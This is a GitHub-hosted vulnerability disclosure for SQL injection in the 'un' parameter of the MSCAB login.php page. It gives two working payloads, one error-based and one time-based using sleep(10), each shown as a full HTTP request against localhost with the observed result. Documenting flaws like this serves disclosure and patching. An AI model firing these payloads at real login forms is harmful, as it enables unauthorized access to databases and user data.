Skip to content
Permalink
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

BUG_Author: Xue Yue

Vulnerability url: /MSCAB/login.php

POST parameter 'un' exists SQL injection vulnerability

Payload1:un=a' and (select 6 from(select count(*),concat(0x61626364,(select (elt(66=66,1))),0x71727374,floor(rand(0)*2))x from information_schema.plugins group by x)a)-- a&up=b&log=Login

POST /MSCAB/login.php HTTP/1.1
Host: localhost
Content-Length: 177
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/MSCAB/login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: PHPSESSID=4ucuktra2adujlr277p85iuap1
Connection: close

un=a' and (select 6 from(select count(*),concat(0x61626364,(select (elt(66=66,1))),0x71727374,floor(rand(0)*2))x from information_schema.plugins group by x)a)-- a&up=b&log=Login

Injection success based on errors

image

Payload2:un=a' and (select 7 from (select(sleep(10)))e)-- n&up=b&log=Login

POST /MSCAB/login.php HTTP/1.1
Host: localhost
Content-Length: 65
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/MSCAB/login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: PHPSESSID=4ucuktra2adujlr277p85iuap1
Connection: close

un=a' and (select 7 from (select(sleep(10)))e)-- n&up=b&log=Login

Server response time is 10 seconds

image